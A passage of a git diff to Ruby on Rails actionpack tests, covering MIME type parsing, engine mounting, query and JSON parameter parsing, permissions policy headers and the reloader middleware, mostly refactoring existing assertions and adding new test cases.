-      %w[text/foobar text/foo text/bar].each do |type|
-        assert_equal Mime[:foobar], type
-      end
-    ensure
-      Mime::Type.unregister(:foobar)
+    Mime::Type.register "text/foobar", :foobar, ["text/foo", "text/bar"]
+    %w[text/foobar text/foo text/bar].each do |type|
+      assert_equal Mime[:foobar], type
     end
+  ensure
+    Mime::Type.unregister(:foobar)
   end
 
-  test "register callbacks" do
-    begin
-      registered_mimes = []
-      Mime::Type.register_callback do |mime|
-        registered_mimes << mime
-      end
+  test "custom type with url parameter" do
+    accept = 'application/vnd.api+json; profile="https://jsonapi.org/profiles/example"'
+    type = Mime::Type.register(accept, :example_api)
+    assert_equal type, Mime[:example_api]
+    assert_equal [type], Mime::Type.parse(accept)
+  ensure
+    Mime::Type.unregister(:example_api)
+  end
 
-      mime = Mime::Type.register("text/foo", :foo)
-      assert_equal [mime], registered_mimes
-    ensure
-      Mime::Type.unregister(:foo)
+  test "register callbacks" do
+    registered_mimes = []
+    Mime::Type.register_callback do |mime|
+      registered_mimes << mime
     end
+
+    mime = Mime::Type.register("text/foo", :foo)
+    assert_equal [mime], registered_mimes
+  ensure
+    Mime::Type.unregister(:foo)
   end
 
   test "custom type with extension aliases" do
-    begin
-      Mime::Type.register "text/foobar", :foobar, [], [:foo, "bar"]
-      %w[foobar foo bar].each do |extension|
-        assert_equal Mime[:foobar], Mime::EXTENSION_LOOKUP[extension]
-      end
-    ensure
-      Mime::Type.unregister(:foobar)
+    Mime::Type.register "text/foobar", :foobar, [], [:foo, "bar"]
+    %w[foobar foo bar].each do |extension|
+      assert_equal Mime[:foobar], Mime::EXTENSION_LOOKUP[extension]
     end
+  ensure
+    Mime::Type.unregister(:foobar)
   end
 
   test "register alias" do
-    begin
-      Mime::Type.register_alias "application/xhtml+xml", :foobar
-      assert_equal Mime[:html], Mime::EXTENSION_LOOKUP["foobar"]
-    ensure
-      Mime::Type.unregister(:foobar)
-    end
+    Mime::Type.register_alias "application/xhtml+xml", :foobar
+    assert_equal Mime[:html], Mime::EXTENSION_LOOKUP["foobar"]
+  ensure
+    Mime::Type.unregister(:foobar)
   end
 
   test "type should be equal to symbol" do
-    assert_equal Mime[:html], "application/xhtml+xml"
-    assert_equal Mime[:html], :html
+    assert_operator Mime[:html], :==, "application/xhtml+xml"
+    assert_operator Mime[:html], :==, :html
   end
 
   test "type convenience methods" do
@@ -157,7 +182,7 @@ class MimeTypeTest < ActiveSupport::TestCase
 
     types.each do |type|
       mime = Mime[type]
-      assert mime.respond_to?("#{type}?"), "#{mime.inspect} does not respond to #{type}?"
+      assert_respond_to mime, "#{type}?"
       assert_equal type, mime.symbol, "#{mime.inspect} is not #{type}?"
       invalid_types = types - [type]
       invalid_types.delete(:html)
@@ -178,8 +203,82 @@ class MimeTypeTest < ActiveSupport::TestCase
     assert Mime[:js] =~ "text/javascript"
     assert Mime[:js] =~ "application/javascript"
     assert Mime[:js] !~ "text/html"
-    assert !(Mime[:js] !~ "text/javascript")
-    assert !(Mime[:js] !~ "application/javascript")
+    assert_not (Mime[:js] !~ "text/javascript")
+    assert_not (Mime[:js] !~ "application/javascript")
     assert Mime[:html] =~ "application/xhtml+xml"
   end
+
+  test "match?" do
+    assert Mime[:js].match?("text/javascript")
+    assert Mime[:js].match?("application/javascript")
+    assert_not Mime[:js].match?("text/html")
+  end
+
+  test "can be initialized with wildcards" do
+    assert_equal "*/*", Mime::Type.new("*/*").to_s
+    assert_equal "text/*", Mime::Type.new("text/*").to_s
+    assert_equal "video/*", Mime::Type.new("video/*").to_s
+  end
+
+  test "can be initialized with parameters" do
+    assert_equal "text/html; parameter", Mime::Type.new("text/html; parameter").to_s
+    assert_equal "text/html; parameter=abc", Mime::Type.new("text/html; parameter=abc").to_s
+    assert_equal 'text/html; parameter="abc"', Mime::Type.new('text/html; parameter="abc"').to_s
+    assert_equal 'text/html; parameter=abc; parameter2="xyz"', Mime::Type.new('text/html; parameter=abc; parameter2="xyz"').to_s
+  end
+
+  test "can be initialized with parameters without having space after ;" do
+    assert_equal "text/html;parameter", Mime::Type.new("text/html;parameter").to_s
+    assert_equal 'text/html;parameter=abc;parameter2="xyz"', Mime::Type.new('text/html;parameter=abc;parameter2="xyz"').to_s
+  end
+
+  test "invalid mime types raise error" do
+    assert_raises Mime::Type::InvalidMimeType do
+      Mime::Type.new("too/many/slash")
+    end
+
+    assert_raises Mime::Type::InvalidMimeType do
+      Mime::Type.new("missingslash")
+    end
+
+    assert_raises Mime::Type::InvalidMimeType do
+      Mime::Type.new("improper/semicolon;")
+    end
+
+    assert_raises Mime::Type::InvalidMimeType do
+      Mime::Type.new('improper/semicolon; parameter=abc; parameter2="xyz";')
+    end
+
+    assert_raises Mime::Type::InvalidMimeType do
+      Mime::Type.new("text/html, text/plain")
+    end
+
+    assert_raises Mime::Type::InvalidMimeType do
+      Mime::Type.new("*/html")
+    end
+
+    assert_raises Mime::Type::InvalidMimeType do
+      Mime::Type.new("")
+    end
+
+    assert_raises Mime::Type::InvalidMimeType do
+      Mime::Type.new(nil)
+    end
+
+    assert_raises Mime::Type::InvalidMimeType do
+      Timeout.timeout(1) do # Shouldn't take more than 1s
+        Mime::Type.new("text/html ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0 ;0;")
+      end
+    end
+  end
+
+  test "holds a reference to mime symbols" do
+    old_symbols = Mime::SET.symbols
+    Mime::Type.register_alias "application/xhtml+xml", :foobar
+    new_symbols = Mime::SET.symbols
+
+    assert_same(old_symbols, new_symbols)
+  ensure
+    Mime::Type.unregister(:foobar)
+  end
 end
diff --git a/actionpack/test/dispatch/mount_test.rb b/actionpack/test/dispatch/mount_test.rb
index a7d5ba2345554..758cee9930ca9 100644
--- a/actionpack/test/dispatch/mount_test.rb
+++ b/actionpack/test/dispatch/mount_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "rails/engine"
 
@@ -25,6 +27,7 @@ def self.call(env)
     }
 
     mount SprocketsApp, at: "/sprockets"
+    mount SprocketsApp, at: "/star*"
     mount SprocketsApp => "/shorthand"
 
     mount SinatraLikeApp, at: "/fakeengine", as: :fake
@@ -56,6 +59,14 @@ def test_app_name_is_properly_generated_when_engine_is_mounted_in_resources
   def test_mounting_at_root_path
     get "/omg"
     assert_equal " -- /omg", response.body
+
+    get "/~omg"
+    assert_equal " -- /~omg", response.body
+  end
+
+  def test_mounting_at_path_with_non_word_character
+    get "/star*/omg"
+    assert_equal "/star* -- /omg", response.body
   end
 
   def test_mounting_sets_script_name
@@ -78,6 +89,12 @@ def test_mounting_with_shorthand
     assert_equal "/shorthand -- /omg", response.body
   end
 
+  def test_mounting_does_not_match_similar_paths
+    get "/shorthandomg"
+    assert_not_equal "/shorthand -- /omg", response.body
+    assert_equal " -- /shorthandomg", response.body
+  end
+
   def test_mounting_works_with_via
     get "/getfake"
     assert_equal "OK", response.body
diff --git a/actionpack/test/dispatch/param_builder_test.rb b/actionpack/test/dispatch/param_builder_test.rb
new file mode 100644
index 0000000000000..544c4ef70d4fc
--- /dev/null
+++ b/actionpack/test/dispatch/param_builder_test.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ParamBuilderTest < ActiveSupport::TestCase
+  # Much of the behavioral details are covered by long-standing
+  # integration tests in test/request/query_string_parsing_test.rb
+  #
+  # This test doesn't need to duplicate all of that: it just
+  # offers a simple baseline of unit tests.
+
+  test "simple query string" do
+    result = ActionDispatch::ParamBuilder.from_query_string("foo=bar&baz=quux")
+    assert_equal({ "foo" => "bar", "baz" => "quux" }, result)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, result
+  end
+
+  test "nested parameters" do
+    result = ActionDispatch::ParamBuilder.from_query_string("foo[bar]=baz")
+    assert_equal({ "foo" => { "bar" => "baz" } }, result)
+    assert_instance_of ActiveSupport::HashWithIndifferentAccess, result[:foo]
+  end
+
+  test "retaining leading bracket" do
+    result = ActionDispatch::ParamBuilder.from_query_string("[foo]=bar")
+    assert_equal({ "[foo]" => "bar" }, result)
+
+    result = ActionDispatch::ParamBuilder.from_query_string("[foo][bar]=baz")
+    assert_equal({ "[foo]" => { "bar" => "baz" } }, result)
+  end
+end
diff --git a/actionpack/test/dispatch/permissions_policy_test.rb b/actionpack/test/dispatch/permissions_policy_test.rb
new file mode 100644
index 0000000000000..7c61bf4a2723c
--- /dev/null
+++ b/actionpack/test/dispatch/permissions_policy_test.rb
@@ -0,0 +1,260 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class PermissionsPolicyTest < ActiveSupport::TestCase
+  def setup
+    @policy = ActionDispatch::PermissionsPolicy.new
+  end
+
+  def test_mappings
+    @policy.midi :self
+    assert_equal "midi 'self'", @policy.build
+
+    @policy.midi :none
+    assert_equal "midi 'none'", @policy.build
+  end
+
+  def test_multiple_sources_for_a_single_directive
+    @policy.geolocation :self, "https://example.com"
+    assert_equal "geolocation 'self' https://example.com", @policy.build
+  end
+
+  def test_single_directive_for_multiple_directives
+    @policy.geolocation :self
+    @policy.usb :none
+    assert_equal "geolocation 'self'; usb 'none'", @policy.build
+  end
+
+  def test_multiple_directives_for_multiple_directives
+    @policy.geolocation :self, "https://example.com"
+    @policy.usb :none, "https://example.com"
+    assert_equal "geolocation 'self' https://example.com; usb 'none' https://example.com", @policy.build
+  end
+
+  def test_invalid_directive_source
+    exception = assert_raises(ArgumentError) do
+      @policy.geolocation [:non_existent]
+    end
+
+    assert_equal "Invalid HTTP permissions policy source: [:non_existent]", exception.message
+  end
+end
+
+class PermissionsPolicyMiddlewareTest < ActionDispatch::IntegrationTest
+  APP = ->(env) { [200, {}, []] }
+
+  POLICY = ActionDispatch::PermissionsPolicy.new do |p|
+    p.gyroscope :self
+  end
+
+  class PolicyConfigMiddleware
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      env["action_dispatch.permissions_policy"] = POLICY
+      env["action_dispatch.show_exceptions"] = :none
+
+      @app.call(env)
+    end
+  end
+
+  test "html requests will set a policy" do
+    @app = build_app(->(env) { [200, { Rack::CONTENT_TYPE => "text/html" }, []] })
+
+    get "/index"
+
+    assert_equal "gyroscope 'self'", response.headers[ActionDispatch::Constants::FEATURE_POLICY]
+  end
+
+  test "non-html requests will set a policy" do
+    @app = build_app(->(env) { [200, { Rack::CONTENT_TYPE => "application/json" }, []] })
+
+    get "/index"
+
+    assert_equal "gyroscope 'self'", response.headers[ActionDispatch::Constants::FEATURE_POLICY]
+  end
+
+  test "existing policies will not be overwritten" do
+    @app = build_app(->(env) { [200, { ActionDispatch::Constants::FEATURE_POLICY => "gyroscope 'none'" }, []] })
+
+    get "/index"
+
+    assert_equal "gyroscope 'none'", response.headers[ActionDispatch::Constants::FEATURE_POLICY]
+  end
+
+  private
+    def build_app(app)
+      PolicyConfigMiddleware.new(
+        Rack::Lint.new(
+          ActionDispatch::PermissionsPolicy::Middleware.new(
+            Rack::Lint.new(app),
+          ),
+        ),
+      )
+    end
+end
+
+class PermissionsPolicyIntegrationTest < ActionDispatch::IntegrationTest
+  class PolicyController < ActionController::Base
+    permissions_policy only: :index do |f|
+      f.gyroscope :none
+    end
+
+    permissions_policy only: :sample_controller do |f|
+      f.gyroscope nil
+      f.usb       :self
+    end
+
+    permissions_policy only: :multiple_directives do |f|
+      f.gyroscope nil
+      f.usb       :self
+      f.autoplay  "https://example.com"
+      f.payment   "https://secure.example.com"
+    end
+
+    def index
+      head :ok
+    end
+
+    def sample_controller
+      head :ok
+    end
+
+    def multiple_directives
+      head :ok
+    end
+  end
+
+  ROUTES = ActionDispatch::Routing::RouteSet.new
+  ROUTES.draw do
+    scope module: "permissions_policy_integration_test" do
+      get "/", to: "policy#index"
+      get "/sample_controller", to: "policy#sample_controller"
+      get "/multiple_directives", to: "policy#multiple_directives"
+    end
+  end
+
+  POLICY = ActionDispatch::PermissionsPolicy.new do |p|
+    p.gyroscope :self
+  end
+
+  class PolicyConfigMiddleware
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      env["action_dispatch.permissions_policy"] = POLICY
+      env["action_dispatch.show_exceptions"] = :none
+
+      @app.call(env)
+    end
+  end
+
+  APP = build_app(ROUTES) do |middleware|
+    middleware.use PolicyConfigMiddleware
+    middleware.use Rack::Lint
+    middleware.use ActionDispatch::PermissionsPolicy::Middleware
+    middleware.use Rack::Lint
+  end
+
+  def app
+    APP
+  end
+
+  def test_generates_permissions_policy_header
+    get "/"
+    assert_policy "gyroscope 'none'"
+  end
+
+  def test_generates_per_controller_permissions_policy_header
+    get "/sample_controller"
+    assert_policy "usb 'self'"
+  end
+
+  def test_generates_multiple_directives_permissions_policy_header
+    get "/multiple_directives"
+    assert_policy "usb 'self'; autoplay https://example.com; payment https://secure.example.com"
+  end
+
+  private
+    def assert_policy(expected)
+      assert_response :success
+      assert_equal expected, response.headers["Feature-Policy"]
+    end
+end
+
+class PermissionsPolicyWithHelpersIntegrationTest < ActionDispatch::IntegrationTest
+  module ApplicationHelper
+    def pigs_can_fly?
+      false
+    end
+  end
+
+  class ApplicationController < ActionController::Base
+    helper_method :sky_is_blue?
+    def sky_is_blue?
+      true
+    end
+  end
+
+  class PolicyController < ApplicationController
+    permissions_policy do |f|
+      f.gyroscope :none  unless helpers.pigs_can_fly?
+      f.usb       :self  if helpers.sky_is_blue?
+    end
+
+    def index
+      head :ok
+    end
+  end
+
+  ROUTES = ActionDispatch::Routing::RouteSet.new
+  ROUTES.draw do
+    scope module: "permissions_policy_with_helpers_integration_test" do
+      get "/", to: "policy#index"
+    end
+  end
+
+  POLICY = ActionDispatch::PermissionsPolicy.new do |p|
+    p.gyroscope :self
+  end
+
+  class PolicyConfigMiddleware
+    def initialize(app)
+      @app = app
+    end
+
+    def call(env)
+      env["action_dispatch.permissions_policy"] = POLICY
+      env["action_dispatch.show_exceptions"] = :none
+
+      @app.call(env)
+    end
+  end
+
+  APP = build_app(ROUTES) do |middleware|
+    middleware.use PolicyConfigMiddleware
+    middleware.use Rack::Lint
+    middleware.use ActionDispatch::PermissionsPolicy::Middleware
+    middleware.use Rack::Lint
+  end
+
+  def app
+    APP
+  end
+
+  def test_generates_permissions_policy_header
+    get "/"
+    assert_policy "gyroscope 'none'; usb 'self'"
+  end
+
+  private
+    def assert_policy(expected)
+      assert_response :success
+      assert_equal expected, response.headers[ActionDispatch::Constants::FEATURE_POLICY]
+    end
+end
diff --git a/actionpack/test/dispatch/prefix_generation_test.rb b/actionpack/test/dispatch/prefix_generation_test.rb
index 0e093d218812a..5ee1a611ca130 100644
--- a/actionpack/test/dispatch/prefix_generation_test.rb
+++ b/actionpack/test/dispatch/prefix_generation_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "rack/test"
 require "rails/engine"
@@ -11,7 +13,7 @@ def to_param
     end
 
     def self.model_name
-      klass = "Post"
+      klass = +"Post"
       def klass.name; self end
 
       ActiveModel::Name.new(klass)
@@ -124,12 +126,19 @@ def ivar_usage
       end
     end
 
+    module KwObject
+      def initialize(kw:)
+      end
+    end
+
     class EngineObject
+      include KwObject
       include ActionDispatch::Routing::UrlFor
       include BlogEngine.routes.url_helpers
     end
 
     class AppObject
+      include KwObject
       include ActionDispatch::Routing::UrlFor
       include RailsApplication.routes.url_helpers
     end
@@ -142,24 +151,24 @@ def app
 
     def setup
       RailsApplication.routes.default_url_options = {}
-      @engine_object = EngineObject.new
-      @app_object = AppObject.new
+      @engine_object = EngineObject.new(kw: 1)
+      @app_object = AppObject.new(kw: 2)
     end
 
     include BlogEngine.routes.mounted_helpers
 
     # Inside Engine
-    test "[ENGINE] generating engine's url use SCRIPT_NAME from request" do
+    test "[ENGINE] generating engine's URL use SCRIPT_NAME from request" do
       get "/pure-awesomeness/blog/posts/1"
       assert_equal "/pure-awesomeness/blog/posts/1", response.body
     end
 
-    test "[ENGINE] generating application's url never uses SCRIPT_NAME from request" do
+    test "[ENGINE] generating application's URL never uses SCRIPT_NAME from request" do
       get "/pure-awesomeness/blog/url_to_application"
       assert_equal "/generate", response.body
     end
 
-    test "[ENGINE] generating engine's url with polymorphic path" do
+    test "[ENGINE] generating engine's URL with polymorphic path" do
       get "/pure-awesomeness/blog/polymorphic_path_for_engine"
       assert_equal "/pure-awesomeness/blog/posts/1", response.body
     end
@@ -241,7 +250,7 @@ def setup
       assert_equal "/something/awesome/blog/posts/1", response.body
     end
 
-    test "[APP] generating engine's url with polymorphic path" do
+    test "[APP] generating engine's URL with polymorphic path" do
       get "/polymorphic_path_for_engine"
       assert_equal "/awesome/blog/posts/1", response.body
     end
@@ -251,7 +260,7 @@ def setup
       assert_equal "/posts/1", response.body
     end
 
-    test "[APP] generating engine's url with url_for(@post)" do
+    test "[APP] generating engine's URL with url_for(@post)" do
       get "/polymorphic_with_url_for"
       assert_equal "http://www.example.com/awesome/blog/posts/1", response.body
     end
@@ -302,7 +311,7 @@ def setup
       assert_equal "/omg/blog/posts/1", path
     end
 
-    test "[OBJECT] generating engine's route with named helpers" do
+    test "[OBJECT] generating engine's route with named route helpers" do
       path = engine_object.posts_path
       assert_equal "/awesome/blog/posts", path
 
@@ -322,11 +331,7 @@ def setup
       def verify_redirect(url, status = 301)
         assert_equal status, response.status
         assert_equal url, response.headers["Location"]
-        assert_equal expected_redirect_body(url), response.body
-      end
-
-      def expected_redirect_body(url)
-        %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+        assert_equal "", response.body
       end
   end
 
@@ -451,11 +456,7 @@ def app
       def verify_redirect(url, status = 301)
         assert_equal status, response.status
         assert_equal url, response.headers["Location"]
-        assert_equal expected_redirect_body(url), response.body
-      end
-
-      def expected_redirect_body(url)
-        %(<html><body>You are being <a href="#{url}">redirected</a>.</body></html>)
+        assert_equal "", response.body
       end
   end
 end
diff --git a/actionpack/test/dispatch/query_parser_test.rb b/actionpack/test/dispatch/query_parser_test.rb
new file mode 100644
index 0000000000000..02a1e25238bfa
--- /dev/null
+++ b/actionpack/test/dispatch/query_parser_test.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class QueryParserTest < ActiveSupport::TestCase
+  test "simple query string" do
+    assert_equal [["foo", "bar"], ["baz", "quux"]], parsed_pairs("foo=bar&baz=quux")
+  end
+
+  test "query string with empty and missing values" do
+    assert_equal [["foo", "bar"], ["empty", ""], ["missing", nil], ["baz", "quux"]], parsed_pairs("foo=bar&empty=&missing&baz=quux")
+  end
+
+  test "custom separator" do
+    assert_equal [["foo", "bar"], ["baz", "quux"]], parsed_pairs("foo=bar;baz=quux", ";")
+  end
+
+  test "non-standard separator" do
+    assert_equal [["foo", "bar"], ["baz", "quux"]], parsed_pairs("foo=bar/baz=quux", "/")
+  end
+
+  test "mixed separators" do
+    assert_equal [["a", "aa"], ["b", "bb"], ["c", "cc"]], parsed_pairs("a=aa&b=bb;c=cc", "&;")
+  end
+
+  test "defaults to ampersand separator only" do
+    assert_equal [["a", "aa"], ["b", "bb;c=cc"]], parsed_pairs("a=aa&b=bb;c=cc")
+  end
+
+  private
+    def parsed_pairs(query, separator = nil)
+      ActionDispatch::QueryParser.each_pair(query, separator).to_a
+    end
+end
diff --git a/actionpack/test/dispatch/rack_cache_test.rb b/actionpack/test/dispatch/rack_cache_test.rb
index d7bb90abbf98e..86b375a2a8008 100644
--- a/actionpack/test/dispatch/rack_cache_test.rb
+++ b/actionpack/test/dispatch/rack_cache_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_dispatch/http/rack_cache"
 
diff --git a/actionpack/test/dispatch/reloader_test.rb b/actionpack/test/dispatch/reloader_test.rb
index 9eb78fe059b15..4f73a8446bdb2 100644
--- a/actionpack/test/dispatch/reloader_test.rb
+++ b/actionpack/test/dispatch/reloader_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class ReloaderTest < ActiveSupport::TestCase
@@ -64,56 +66,33 @@ def test_condition_specifies_when_to_reload
     reloader.to_complete { |*args| j += 1 }
 
     app = middleware(lambda { |env| [200, {}, []] }, reloader)
+    env = Rack::MockRequest.env_for("", {})
     5.times do
-      resp = app.call({})
+      resp = app.call(env)
       resp[2].close
     end
     assert_equal 3, i
     assert_equal 3, j
   end
 
-  def test_returned_body_object_behaves_like_underlying_object
-    body = call_and_return_body do
-      b = MyBody.new
-      b << "hello"
-      b << "world"
-      [200, { "Content-Type" => "text/html" }, b]
-    end
-    assert_equal 2, body.size
-    assert_equal "hello", body[0]
-    assert_equal "world", body[1]
-    assert_equal "foo", body.foo
-    assert_equal "bar", body.bar
-  end
-
   def test_it_calls_close_on_underlying_object_when_close_is_called_on_body
     close_called = false
     body = call_and_return_body do
       b = MyBody.new do
         close_called = true
       end
-      [200, { "Content-Type" => "text/html" }, b]
+      [200, { "content-type" => "text/html" }, b]
     end
     body.close
     assert close_called
   end
 
-  def test_returned_body_object_responds_to_all_methods_supported_by_underlying_object
-    body = call_and_return_body do
-      [200, { "Content-Type" => "text/html" }, MyBody.new]
-    end
-    assert_respond_to body, :size
-    assert_respond_to body, :each
-    assert_respond_to body, :foo
-    assert_respond_to body, :bar
-  end
-
   def test_complete_callbacks_are_called_when_body_is_closed
     completed = false
     reloader.to_complete { completed = true }
 
     body = call_and_return_body
-    assert !completed
+    assert_not completed
 
     body.close
     assert completed
@@ -127,7 +106,7 @@ def test_prepare_callbacks_arent_called_when_body_is_closed
     prepared = false
 
     body.close
-    assert !prepared
+    assert_not prepared
   end
 
   def test_complete_callbacks_are_called_on_exceptions
@@ -146,13 +125,14 @@ def test_complete_callbacks_are_called_on_exceptions
 
   private
     def call_and_return_body(&block)
-      app = middleware(block || proc { [200, {}, "response"] })
-      _, _, body = app.call("rack.input" => StringIO.new(""))
+      app = block || proc { [200, {}, "response"] }
+      env = Rack::MockRequest.env_for("", {})
+      _, _, body = middleware(app).call(env)
       body
     end
 
     def middleware(inner_app, reloader = reloader())
-      ActionDispatch::Reloader.new(inner_app, reloader)
+      Rack::Lint.new(ActionDispatch::Reloader.new(Rack::Lint.new(inner_app), reloader))
     end
 
     def reloader(check = lambda { true })
diff --git a/actionpack/test/dispatch/request/json_params_parsing_test.rb b/actionpack/test/dispatch/request/json_params_parsing_test.rb
index 10234a481597d..650119a56ee05 100644
--- a/actionpack/test/dispatch/request/json_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/json_params_parsing_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class JsonParamsParsingTest < ActionDispatch::IntegrationTest
@@ -16,27 +18,34 @@ def teardown
     TestController.last_request_parameters = nil
   end
 
-  test "parses json params for application json" do
+  test "parses JSON params for application JSON" do
     assert_parses(
       { "person" => { "name" => "David" } },
       "{\"person\": {\"name\": \"David\"}}", "CONTENT_TYPE" => "application/json"
     )
   end
 
-  test "parses boolean and number json params for application json" do
+  test "parses boolean and number JSON params for application JSON" do
     assert_parses(
       { "item" => { "enabled" => false, "count" => 10 } },
       "{\"item\": {\"enabled\": false, \"count\": 10}}", "CONTENT_TYPE" => "application/json"
     )
   end
 
-  test "parses json params for application jsonrequest" do
+  test "parses JSON params for application jsonrequest" do
     assert_parses(
       { "person" => { "name" => "David" } },
       "{\"person\": {\"name\": \"David\"}}", "CONTENT_TYPE" => "application/jsonrequest"
     )
   end
 
+  test "parses JSON params for application problem+json" do
+    assert_parses(
+      { "person" => { "name" => "David" } },
+      "{\"person\": {\"name\": \"David\"}}", "CONTENT_TYPE" => "application/problem+json"
+    )
+  end
+
   test "does not parse unregistered media types such as application/vnd.api+json" do
     assert_parses(
       {},
@@ -63,26 +72,24 @@ def teardown
     with_test_routing do
       output = StringIO.new
       json = "[\"person]\": {\"name\": \"David\"}}"
-      post "/parse", params: json, headers: { "CONTENT_TYPE" => "application/json", "action_dispatch.show_exceptions" => true, "action_dispatch.logger" => ActiveSupport::Logger.new(output) }
+      post "/parse", params: json, headers: { "CONTENT_TYPE" => "application/json", "action_dispatch.show_exceptions" => :all, "action_dispatch.logger" => ActiveSupport::Logger.new(output) }
       assert_response :bad_request
       output.rewind && err = output.read
-      assert err =~ /Error occurred while parsing request parameters/
+      assert err.match?(/Error occurred while parsing request parameters/)
     end
   end
 
   test "occurring a parse error if parsing unsuccessful" do
     with_test_routing do
-      begin
-        $stderr = StringIO.new # suppress the log
-        json = "[\"person]\": {\"name\": \"David\"}}"
-        exception = assert_raise(ActionDispatch::Http::Parameters::ParseError) do
-          post "/parse", params: json, headers: { "CONTENT_TYPE" => "application/json", "action_dispatch.show_exceptions" => false }
-        end
-        assert_equal JSON::ParserError, exception.cause.class
-        assert_equal exception.cause.message, exception.message
-      ensure
-        $stderr = STDERR
+      $stderr = StringIO.new # suppress the log
+      json = "[\"person]\": {\"name\": \"David\"}}"
+      exception = assert_raise(ActionDispatch::Http::Parameters::ParseError) do
+        post "/parse", params: json, headers: { "CONTENT_TYPE" => "application/json", "action_dispatch.show_exceptions" => :none }
       end
+      assert_equal JSON::ParserError, exception.cause.class
+      assert_equal "Error occurred while parsing request parameters", exception.message
+    ensure
+      $stderr = STDERR
     end
   end
 
@@ -105,7 +112,7 @@ def assert_parses(expected, actual, headers = {})
     def with_test_routing
       with_routing do |set|
         set.draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             post ":action", to: ::JsonParamsParsingTest::TestController
           end
         end
@@ -133,53 +140,56 @@ def teardown
     UsersController.last_request_parameters = nil
   end
 
-  test "parses json params for application json" do
+  test "parses JSON params for application JSON" do
     assert_parses(
       { "user" => { "username" => "sikachu" }, "username" => "sikachu" },
       "{\"username\": \"sikachu\"}", "CONTENT_TYPE" => "application/json"
     )
   end
 
-  test "parses json params for application jsonrequest" do
+  test "parses JSON params for application jsonrequest" do
     assert_parses(
       { "user" => { "username" => "sikachu" }, "username" => "sikachu" },
       "{\"username\": \"sikachu\"}", "CONTENT_TYPE" => "application/jsonrequest"
     )
   end
 
-  test "parses json with non-object JSON content" do
+  test "parses JSON params for application problem+json" do
+    assert_parses(
+      { "user" => { "username" => "sikachu" }, "username" => "sikachu" },
+      "{\"username\": \"sikachu\"}", "CONTENT_TYPE" => "application/problem+json"
+    )
+  end
+
+  test "parses JSON with non-object JSON content" do
     assert_parses(
       { "user" => { "_json" => "string content" }, "_json" => "string content" },
       "\"string content\"", "CONTENT_TYPE" => "application/json"
     )
   end
 
-  test "parses json params after custom json mime type registered" do
-    begin
-      Mime::Type.unregister :json
-      Mime::Type.register "application/json", :json, %w(application/vnd.rails+json)
-      assert_parses(
-        { "user" => { "username" => "meinac" }, "username" => "meinac" },
-        "{\"username\": \"meinac\"}", "CONTENT_TYPE" => "application/json"
-      )
-    ensure
-      Mime::Type.unregister :json
-      Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest )
-    end
+  test "parses JSON params after custom JSON mime type registered" do
+    Mime::Type.unregister :json
+    Mime::Type.register "application/json", :json, %w(application/vnd.rails+json)
+    assert_parses(
+      { "user" => { "username" => "meinac" }, "username" => "meinac" },
+      "{\"username\": \"meinac\"}", "CONTENT_TYPE" => "application/json"
+    )
+  ensure
+    Mime::Type.unregister :json
+    Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest application/problem+json )
   end
 
-  test "parses json params after custom json mime type registered with synonym" do
-    begin
-      Mime::Type.unregister :json
-      Mime::Type.register "application/json", :json, %w(application/vnd.rails+json)
-      assert_parses(
-        { "user" => { "username" => "meinac" }, "username" => "meinac" },
-        "{\"username\": \"meinac\"}", "CONTENT_TYPE" => "application/vnd.rails+json"
-      )
-    ensure
-      Mime::Type.unregister :json
-      Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest )
-    end
+  test "parses JSON params after custom JSON mime type registered with synonym" do
+    Mime::Type.unregister :json
+    Mime::Type.register "application/json", :json, %w(application/vnd.rails+json)
+    assert_parses(
+      { "user" => { "username" => "meinac" }, "username" => "meinac" },
+      "{\"username\": \"meinac\"}", "CONTENT_TYPE" => "application/vnd.rails+json"
+    )
+  ensure
+    Mime::Type.unregister :json
+    Mime::Type.register "application/json", :json, %w( text/x-json application/jsonrequest application/problem+json )
   end
 
   private
@@ -195,7 +205,7 @@ def assert_parses(expected, actual, headers = {})
     def with_test_routing(controller)
       with_routing do |set|
         set.draw do
-          ActiveSupport::Deprecation.silence do
+          ActionDispatch.deprecator.silence do
             post ":action", to: controller
           end
         end
diff --git a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
index 01c5ff142974f..b13b12a030a66 100644
--- a/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
+++ b/actionpack/test/dispatch/request/multipart_params_parsing_test.rb
@@ -1,11 +1,25 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class MultipartParamsParsingTest < ActionDispatch::IntegrationTest
   class TestController < ActionController::Base
+    skip_parameter_encoding("parse_binary")
+
     class << self
       attr_accessor :last_request_parameters, :last_parameters
     end
 
+    def parse_binary
+      self.class.last_request_parameters = begin
+        request.request_parameters
+      rescue EOFError
+        {}
+      end
+      self.class.last_parameters = request.parameters
+      head :ok
+    end
+
     def parse
       self.class.last_request_parameters = begin
         request.request_parameters
@@ -21,7 +35,7 @@ def read
     end
   end
 
-  FIXTURE_PATH = File.dirname(__FILE__) + "/../../fixtures/multipart"
+  FIXTURE_PATH = File.expand_path("../../fixtures/multipart", __dir__)
 
   def teardown
     TestController.last_request_parameters = nil
@@ -116,7 +130,7 @@ def teardown
   end
 
   test "parses mixed files" do
-    params = parse_multipart("mixed_files")
